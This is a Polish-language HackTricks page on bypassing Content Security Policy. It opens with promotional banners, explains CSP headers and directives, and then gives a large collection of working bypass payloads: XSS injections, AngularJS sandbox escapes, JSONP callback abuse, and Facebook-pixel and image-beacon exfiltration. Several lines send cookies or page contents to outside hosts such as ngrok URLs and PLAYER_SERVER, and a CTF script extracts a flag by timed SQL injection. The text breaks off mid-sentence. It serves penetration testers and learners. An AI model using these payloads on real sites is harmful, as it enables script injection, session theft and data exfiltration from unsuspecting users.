.. | ||
csp-bypass-self-+-unsafe-inline-with-iframes.md | ||
README.md |
Content Security Policy (CSP) Bypass
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud.
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!
Spojrzenie na Hakowanie
Zapoznaj się z treściami, które zagłębiają się w emocje i wyzwania hakowania
Aktualności z Hakowania na Żywo
Bądź na bieżąco z szybkim światem hakowania dzięki aktualnościom i spojrzeniom na żywo
Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
Co to jest CSP
Zasady zabezpieczeń zawartości (CSP) są uznawane za technologię przeglądarki, głównie mającą na celu ochronę przed atakami takimi jak skrypty międzywitrynne (XSS). Działa poprzez definiowanie i szczegółowe określanie ścieżek i źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Te zasoby obejmują różne elementy, takie jak obrazy, ramki i JavaScript. Na przykład polityka może zezwalać na ładowanie i wykonywanie zasobów z tego samego domeny (self), w tym zasobów wstawionych oraz wykonywanie kodu łańcuchowego za pomocą funkcji takich jak eval
, setTimeout
lub setInterval
.
Wdrożenie CSP odbywa się poprzez nagłówki odpowiedzi lub poprzez włączenie elementów meta na stronie HTML. Zgodnie z tą polityką przeglądarki aktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.
- Wdrożone za pomocą nagłówka odpowiedzi:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Wdrożone za pomocą meta tagu:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Nagłówki
CSP można narzucić lub monitorować za pomocą tych nagłówków:
Content-Security-Policy
: Narzuca CSP; przeglądarka blokuje wszelkie naruszenia.Content-Security-Policy-Report-Only
: Używany do monitorowania; raportuje naruszenia bez ich blokowania. Idealny do testowania w środowiskach przedprodukcyjnych.
Definiowanie zasobów
CSP ogranicza pochodzenie ładowania zarówno aktywnych, jak i pasywnych zasobów, kontrolując aspekty takie jak wykonanie skryptów JavaScript w linii oraz użycie eval()
. Przykładowa polityka to:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Dyrektywy
- script-src: Pozwala na określenie konkretnych źródeł JavaScript, w tym adresów URL, skryptów w linii, oraz skryptów wywołanych przez event handlery lub arkusze stylów XSLT.
- default-src: Ustawia domyślną politykę pobierania zasobów, gdy określone dyrektywy pobierania są nieobecne.
- child-src: Określa dozwolone zasoby dla web workers oraz osadzonych treści ramek.
- connect-src: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest.
- frame-src: Ogranicza adresy URL dla ramek.
- frame-ancestors: Określa, które źródła mogą osadzać bieżącą stronę, dotyczy elementów takich jak
<frame>
,<iframe>
,<object>
,<embed>
, oraz<applet>
. - img-src: Definiuje dozwolone źródła dla obrazów.
- font-src: Określa prawidłowe źródła dla czcionek ładowanych za pomocą
@font-face
. - manifest-src: Definiuje dozwolone źródła plików manifestu aplikacji.
- media-src: Definiuje dozwolone źródła dla ładowania obiektów multimedialnych.
- object-src: Określa dozwolone źródła dla elementów
<object>
,<embed>
, oraz<applet>
. - base-uri: Określa dozwolone adresy URL do ładowania za pomocą elementów
<base>
. - form-action: Wymienia prawidłowe punkty końcowe dla przesyłania formularzy.
- plugin-types: Ogranicza typy mime, które strona może wywoływać.
- upgrade-insecure-requests: Nakazuje przeglądarkom przepisywanie adresów URL HTTP na HTTPS.
- sandbox: Nakłada ograniczenia podobne do atrybutu sandbox elementu
<iframe>
. - report-to: Określa grupę, do której zostanie wysłane zgłoszenie, jeśli polityka zostanie naruszona.
- worker-src: Określa prawidłowe źródła dla skryptów Worker, SharedWorker lub ServiceWorker.
- prefetch-src: Określa prawidłowe źródła dla zasobów, które zostaną pobrane lub wcześniej pobrane.
- navigate-to: Ogranicza adresy URL, do których dokument może nawigować w dowolny sposób (a, form, window.location, window.open, itp.)
Źródła
*
: Pozwala na wszystkie adresy URL z wyjątkiem tych z schematamidata:
,blob:
,filesystem:
.'self'
: Pozwala na ładowanie z tej samej domeny.'data'
: Pozwala na ładowanie zasobów za pomocą schematu data (np. obrazów zakodowanych Base64).'none'
: Blokuje ładowanie z dowolnego źródła.'unsafe-eval'
: Pozwala na użycieeval()
i podobnych metod, niezalecane ze względów bezpieczeństwa.'unsafe-hashes'
: Umożliwia określone event handlery w linii.'unsafe-inline'
: Pozwala na użycie zasobów w linii, takich jak skrypty w linii<script>
lub<style>
, niezalecane ze względów bezpieczeństwa.'nonce'
: Biała lista dla konkretnych skryptów w linii za pomocą kryptograficznego nonce (numer użyty tylko raz).- Jeśli wykonanie JS jest ograniczone, można uzyskać użyty nonce na stronie za pomocą
doc.defaultView.top.document.querySelector("[nonce]")
i następnie ponownie go użyć do ładowania złośliwego skryptu (jeśli używane jest strict-dynamic, dowolne dozwolone źródło może ładować nowe źródła, więc to nie jest konieczne), jak w:
'sha256-<hash>'
: Białe listy skryptów z określonym haszem sha256.'strict-dynamic'
: Umożliwia ładowanie skryptów z dowolnego źródła, jeśli zostały one dodane do białej listy za pomocą nonce lub hasha.'host'
: Określa określony host, na przykładexample.com
.https:
: Ogranicza adresy URL do tych, które używają protokołu HTTPS.blob:
: Umożliwia ładowanie zasobów z adresów URL Blob (np. adresów URL Blob utworzonych za pomocą JavaScript).filesystem:
: Umożliwia ładowanie zasobów z systemu plików.'report-sample'
: Zawiera przykład naruszającego kodu w raporcie naruszeń (przydatne do debugowania).'strict-origin'
: Podobnie jak 'self', ale zapewnia, że poziom zabezpieczeń protokołu źródeł odpowiada dokumentowi (tylko bezpieczne źródła mogą ładować zasoby z bezpiecznych źródeł).'strict-origin-when-cross-origin'
: Wysyła pełne adresy URL podczas wykonywania żądań o tym samym pochodzeniu, ale wysyła tylko pochodzenie, gdy żądanie jest między pochodzeniami.'unsafe-allow-redirects'
: Umożliwia ładowanie zasobów, które natychmiast przekierują do innego zasobu. Nie zaleca się, ponieważ osłabia to bezpieczeństwo.
Niebezpieczne zasady CSP
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Działający payload: "/><script>alert(1);</script>
self + 'unsafe-inline' za pomocą ramek
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Działający ładunek:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Jeśli w jakiś sposób możesz sprawić, aby dozwolony kod JS utworzył nowy tag skryptu w DOM za pomocą swojego kodu JS, ponieważ dozwolony skrypt go tworzy, nowy tag skryptu będzie mógł zostać wykonany.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Działający ładunek:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Brak object-src i default-src
{% hint style="danger" %} Wygląda na to, że to już nie działa {% endhint %}
Content-Security-Policy: script-src 'self' ;
Działające ładunki:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Przesyłanie plików + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Jeśli możesz przesłać plik JS, możesz ominąć tę CSP:
Działający ładunek:
"/>'><script src="/uploads/picture.png.js"></script>
Jednakże jest bardzo prawdopodobne, że serwer sprawdza przesłany plik i pozwoli Ci tylko przesłać określony rodzaj plików.
Co więcej, nawet jeśli udałoby Ci się przesłać kod JS wewnątrz pliku za pomocą akceptowanego przez serwer rozszerzenia (np. script.png), to nie wystarczy, ponieważ niektóre serwery, jak serwer apache, wybierają typ MIME pliku na podstawie rozszerzenia, a przeglądarki, jak Chrome, odmówią wykonania kodu Javascript w czymś, co powinno być obrazem. "Na szczęście" są błędy. Na przykład, z CTF dowiedziałem się, że Apache nie rozpoznaje rozszerzenia .wave, dlatego nie serwuje go z typem MIME takim jak audio/*.
Stąd, jeśli znajdziesz XSS i możliwość przesłania pliku, oraz uda Ci się znaleźć błędne rozszerzenie, możesz spróbować przesłać plik z tym rozszerzeniem i zawartością skryptu. Lub, jeśli serwer sprawdza poprawny format przesłanego pliku, stwórz poliglot (kilka przykładów poliglotów tutaj).
Form-action
Jeśli nie jest możliwe wstrzyknięcie JS, nadal możesz spróbować wydobyć na przykład dane uwierzytelniające wstrzykując akcję formularza (i być może licząc na automatyczne wypełnienie haseł przez menedżery haseł). Możesz znaleźć przykład w tym raporcie. Zauważ także, że default-src
nie obejmuje akcji formularza.
Zewnętrzne punkty końcowe + ('unsafe-eval')
{% hint style="warning" %}
Dla niektórych z poniższych ładunków unsafe-eval
nie jest nawet potrzebne.
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Załaduj podatną wersję angulara i wykonaj dowolny kod JS:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloady wykorzystujące Angular + bibliotekę z funkcjami zwracającymi obiekt window
(sprawdź ten post):
{% hint style="info" %}
W poście pokazano, że można załadować wszystkie biblioteki z cdn.cloudflare.com
(lub z dowolnego innego repozytorium zezwolonych bibliotek JS), wykonać wszystkie dodane funkcje z każdej biblioteki i sprawdzić, które funkcje z których bibliotek zwracają obiekt window
.
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS z nazwy klasy:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Nadużywanie kodu JS google recaptcha
Zgodnie z tym opisem CTF można nadużyć https://www.google.com/recaptcha/ wewnątrz CSP, aby wykonać dowolny kod JS omijając CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Więcej payloadów z tego wpisu:
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
Wykorzystywanie www.google.com do przekierowania
Następujący adres URL przekierowuje do example.com (z tutaj):
https://www.google.com/amp/s/example.com/
Trzecie punkty końcowe + JSONP
Możliwe jest nadużycie Google Apps Script w celu otrzymywania informacji na stronie znajdującej się w script.google.com. Tak jak to zostało wykonane w tym raporcie.
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Sytuacje, w których script-src
jest ustawione na self
i określona domena jest dodana do białej listy, można ominąć, korzystając z JSONP. Punkty końcowe JSONP pozwalają na niezabezpieczone metody wywołań zwrotnych, co umożliwia atakującemu wykonanie XSS, działający ładunek:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee zawiera gotowe do użycia punkty końcowe JSONP do obejścia CSP na różnych stronach internetowych.
Ta sama podatność wystąpi, jeśli zaufany punkt końcowy zawiera Przekierowanie Otwarte, ponieważ jeśli początkowy punkt końcowy jest zaufany, to przekierowania są uznawane za zaufane.
Nadużycia stron trzecich
Jak opisano w poniższym poście, istnieje wiele domen stron trzecich, które mogą być dozwolone gdzieś w CSP, mogą być wykorzystane do eksfiltracji danych lub wykonania kodu JavaScript. Niektóre z tych stron trzecich to:
Podmiot | Dozwolona Domena | Zdolności |
---|---|---|
www.facebook.com, *.facebook.com | Eksfiltracja | |
Hotjar | *.hotjar.com, ask.hotjar.io | Eksfiltracja |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Wykonanie |
Amazon CloudFront | *.cloudfront.net | Eksfiltracja, Wykonanie |
Amazon AWS | *.amazonaws.com | Eksfiltracja, Wykonanie |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Eksfiltracja, Wykonanie |
Salesforce Heroku | *.herokuapp.com | Eksfiltracja, Wykonanie |
Google Firebase | *.firebaseapp.com | Eksfiltracja, Wykonanie |
Jeśli znajdziesz którąś z dozwolonych domen w CSP swojego celu, istnieje szansa, że będziesz mógł obejść CSP, rejestrując się w usłudze stron trzecich i albo eksfiltrując dane do tej usługi, albo wykonując kod.
Na przykład, jeśli znajdziesz następujący CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
lub
Content-Security-Policy: connect-src www.facebook.com;
Powinieneś móc wyciekać dane, podobnie jak zawsze było to robione za pomocą Google Analytics/Google Tag Manager. W tym przypadku postępujesz zgodnie z następującymi ogólnymi krokami:
- Utwórz konto dewelopera na Facebooku tutaj.
- Utwórz nową aplikację "Facebook Login" i wybierz "Strona internetowa".
- Przejdź do "Ustawienia -> Podstawowe" i uzyskaj swój "ID aplikacji".
- Na stronie docelowej, z której chcesz wyciekać dane, możesz wyciekać dane bezpośrednio za pomocą gadżetu Facebook SDK "fbq" poprzez "customEvent" i ładunek danych.
- Przejdź do "Menedżera zdarzeń" swojej aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod podobnym adresem URL: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
- Wybierz zakładkę "Zdarzenia testowe", aby zobaczyć zdarzenia wysyłane przez stronę internetową "twoją".
Następnie, po stronie ofiary, wykonujesz następujący kod, aby zainicjować piksel śledzenia Facebooka, który wskazuje na aplikację dewelopera ofiary o identyfikatorze aplikacji i wysłać zdarzenie niestandardowe w ten sposób:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Bypass za pomocą RPO (Relative Path Overwrite)
Oprócz wspomnianej wcześniej przekierowania w celu ominięcia ograniczeń ścieżki, istnieje inna technika o nazwie Relative Path Overwrite (RPO), która może być użyta na niektórych serwerach.
Na przykład, jeśli CSP zezwala na ścieżkę https://example.com/scripts/react/
, można ją ominąć w następujący sposób:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Przeglądarka ostatecznie załaduje https://example.com/scripts/angular/angular.js
.
To działa, ponieważ dla przeglądarki ładowany jest plik o nazwie ..%2fangular%2fangular.js
znajdujący się w https://example.com/scripts/react/
, co jest zgodne z CSP.
Następnie zdekodują to, efektywnie żądając https://example.com/scripts/react/../angular/angular.js
, co jest równoważne z https://example.com/scripts/angular/angular.js
.
Wykorzystując tę niekonsekwencję w interpretacji adresów URL między przeglądarką a serwerem, można ominąć reguły ścieżki.
Rozwiązaniem jest nie traktowanie %2f
jako /
po stronie serwera, zapewniając spójną interpretację między przeglądarką a serwerem, aby uniknąć tego problemu.
Przykład online:https://jsbin.com/werevijewa/edit?html,output
Wykonywanie JS w Iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
brakujący base-uri
Jeśli dyrektywa base-uri jest pominięta, można ją wykorzystać do wykonania wstrzyknięcia zawieszonego znacznika.
Co więcej, jeśli strona ładuje skrypt za pomocą ścieżki względnej (np. <script src="/js/app.js">
) używając Nonce, można wykorzystać tag base aby załadować skrypt z własnego serwera osiągając XSS.
Jeśli podatna strona jest ładowana z httpS, użyj adresu httpS w tagu base.
<base href="https://www.attacker.com/">
Wydarzenia AngularJS
Konkretna polityka znana jako Content Security Policy (CSP) może ograniczać zdarzenia JavaScript. Niemniej jednak, AngularJS wprowadza niestandardowe zdarzenia jako alternatywę. W ramach zdarzenia AngularJS dostarcza unikalny obiekt $event
, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Ten obiekt $event
może być wykorzystany do obejścia CSP. Warto zauważyć, że w Chrome obiekt $event/event
posiada atrybut path
, przechowujący tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, z obiektem window
zawsze umieszczonym na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.
Poprzez kierowanie tej tablicy do filtra orderBy
, możliwe jest iterowanie po niej, wykorzystując terminalny element (obiekt window
) do wywołania globalnej funkcji, takiej jak alert()
. Przedstawiony poniżej fragment kodu wyjaśnia ten proces:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Ten fragment podkreśla użycie dyrektywy ng-focus
do wywołania zdarzenia, korzystając z $event.path|orderBy
do manipulacji tablicą path
, oraz wykorzystując obiekt window
do wykonania funkcji alert()
, ujawniając w ten sposób document.cookie
.
Znajdź inne sposoby bypassowania Angulara na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS i domena z białej listy
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Polityka CSP, która uwzględnia domeny do ładowania skryptów w aplikacji Angular JS, może zostać obejścia poprzez wywołanie funkcji zwrotnych i pewnych podatnych klas. Więcej informacji na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym [repozytorium git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
Działające ładunki:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Inne punkty końcowe do dowolnego wykonania JSONP można znaleźć tutaj (niektóre z nich zostały usunięte lub naprawione)
Bypass za pomocą przekierowania
Co się dzieje, gdy CSP napotyka przekierowanie po stronie serwera? Jeśli przekierowanie prowadzi do innej domeny, która nie jest dozwolona, to i tak zakończy się niepowodzeniem.
Jednakże, zgodnie z opisem w specyfikacji CSP 4.2.2.3. Ścieżki i przekierowania, jeśli przekierowanie prowadzi do innej ścieżki, może ominąć oryginalne ograniczenia.
Oto przykład:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Jeśli CSP jest ustawione na https://www.google.com/a/b/c/d
, ponieważ uwzględniany jest ścieżka, zarówno skrypty /test
, jak i /a/test
zostaną zablokowane przez CSP.
Jednakże, ostateczny http://localhost:5555/301
zostanie przekierowany po stronie serwera do https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Ponieważ jest to przekierowanie, ścieżka nie jest brana pod uwagę, a skrypt może być załadowany, co umożliwia obejście ograniczenia ścieżki.
Dzięki temu przekierowaniu, nawet jeśli ścieżka jest w pełni określona, nadal zostanie obejścia.
Dlatego najlepszym rozwiązaniem jest zapewnienie, że witryna nie ma żadnych podatności na otwarte przekierowania oraz że nie ma domen, które mogą być wykorzystane w zasadach CSP.
Ominięcie CSP za pomocą zawieszonego znacznika
Przeczytaj tutaj, jak to zrobić.
'unsafe-inline'; img-src *; za pomocą XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
oznacza, że można wykonać dowolny skrypt wewnątrz kodu (XSS może wykonać kod), a img-src *
oznacza, że można używać na stronie internetowej dowolnego obrazu z dowolnego źródła.
Można ominąć tę CSP, eksfiltrując dane za pomocą obrazów (w tym przypadku XSS wykorzystuje CSRF, gdzie strona dostępna dla bota zawiera SQLi i wydobywa flagę za pomocą obrazu):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
Z https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Możesz również nadużyć tej konfiguracji, aby załadować kod JavaScript wstawiony wewnątrz obrazu. Na przykład, jeśli strona pozwala na ładowanie obrazów z Twittera. Możesz stworzyć specjalny obraz, przesłać go na Twittera i nadużyć "unsafe-inline" do wykonania kodu JS (jak w zwykłym XSS), który załaduje obraz, wydobędzie z niego JS i wykona go: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Z Użyciem Pracowników Usługi
Funkcja importScripts
pracowników usługi nie jest ograniczona przez CSP:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Wstrzykiwanie Polityki
Badania: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Jeśli parametr wysłany przez ciebie jest wklejany do deklaracji polityki, to możesz zmienić politykę w taki sposób, że stanie się bezużyteczna. Możesz zezwolić na skrypt 'unsafe-inline' za pomocą któregokolwiek z tych obejść:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Ponieważ ta dyrektywa nadpisze istniejące dyrektywy script-src.
Możesz znaleźć przykład tutaj: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
W Edge jest znacznie prostsze. Jeśli możesz dodać do CSP tylko to: ;_
Edge odrzuci całą politykę.
Przykład: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; za pomocą XSS (iframe) - Atak czasowy
Zauważ brak dyrektywy 'unsafe-inline'
Tym razem możesz sprawić, że ofiara załaduje stronę pod twoją kontrolą za pomocą XSS z <iframe
. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wydobyć informacje (CSRF). Nie możesz uzyskać dostępu do zawartości strony, ale jeśli w jakiś sposób możesz kontrolować czas potrzebny na załadowanie strony, możesz wydobyć potrzebne informacje.
Tym razem flaga zostanie wydobyta, za każdym razem gdy poprawnie zgadniesz znak za pomocą SQLi, odpowiedź zajmie więcej czasu ze względu na funkcję sleep. Wtedy będziesz mógł wydobyć flagę:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
Za pomocą zakładek
Ten atak zakłada pewne inżynierii społecznej, gdzie atakujący przekonuje użytkownika, aby przeciągnął i upuścił link na zakładkę przeglądarki. Ta zakładka zawierałaby złośliwy kod JavaScript, który po przeciągnięciu lub kliknięciu byłby wykonany w kontekście bieżącego okna przeglądarki, omijając CSP i umożliwiając kradzież wrażliwych informacji takich jak ciasteczka lub tokeny.
Aby uzyskać więcej informacji, sprawdź oryginalny raport tutaj.
Ominięcie CSP poprzez ograniczenie CSP
W tym rozwiązaniu CTF, CSP jest omijany poprzez wstrzyknięcie bardziej restrykcyjnego CSP do dozwolonego iframe, który uniemożliwia załadowanie określonego pliku JS, który następnie za pomocą zanieczyszczania prototypu lub nadpisywania DOM pozwala na wykorzystanie innego skryptu do załadowania dowolnego skryptu.
Możesz ograniczyć CSP Iframe za pomocą atrybutu csp
:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
W tym opisie CTF, było możliwe poprzez wstrzyknięcie HTML ograniczenie CSP, aby skrypt zapobiegający CSTI został wyłączony, a tym samym podatność stała się wykonalna.
CSP można zrobić bardziej restrykcyjne za pomocą tagów meta HTML i skrypty inline mogą być wyłączone usuwając wpis pozwalający na ich nonce i włączając określony skrypt inline za pomocą sha:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
Wykradanie danych JS za pomocą Content-Security-Policy-Report-Only
Jeśli uda ci się sprawić, że serwer odpowie nagłówkiem Content-Security-Policy-Report-Only
z wartością kontrolowaną przez ciebie (może to być spowodowane przez CRLF), możesz sprawić, że będzie on wskazywał na twój serwer i jeśli opakujesz zawartość JS, którą chcesz wykraść, w znaczniki <script>
i ponieważ bardzo prawdopodobne jest, że unsafe-inline
nie jest dozwolone przez CSP, spowoduje to błąd CSP i część skryptu (zawierająca wrażliwe informacje) zostanie wysłana na serwer z Content-Security-Policy-Report-Only
.
Przykład znajdziesz w tym opisie rozwiązania CTF.
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
Ujawnianie informacji za pomocą CSP i Iframe
- Tworzony jest element
iframe
, który wskazuje na adres URL (nazwijmy gohttps://example.redirect.com
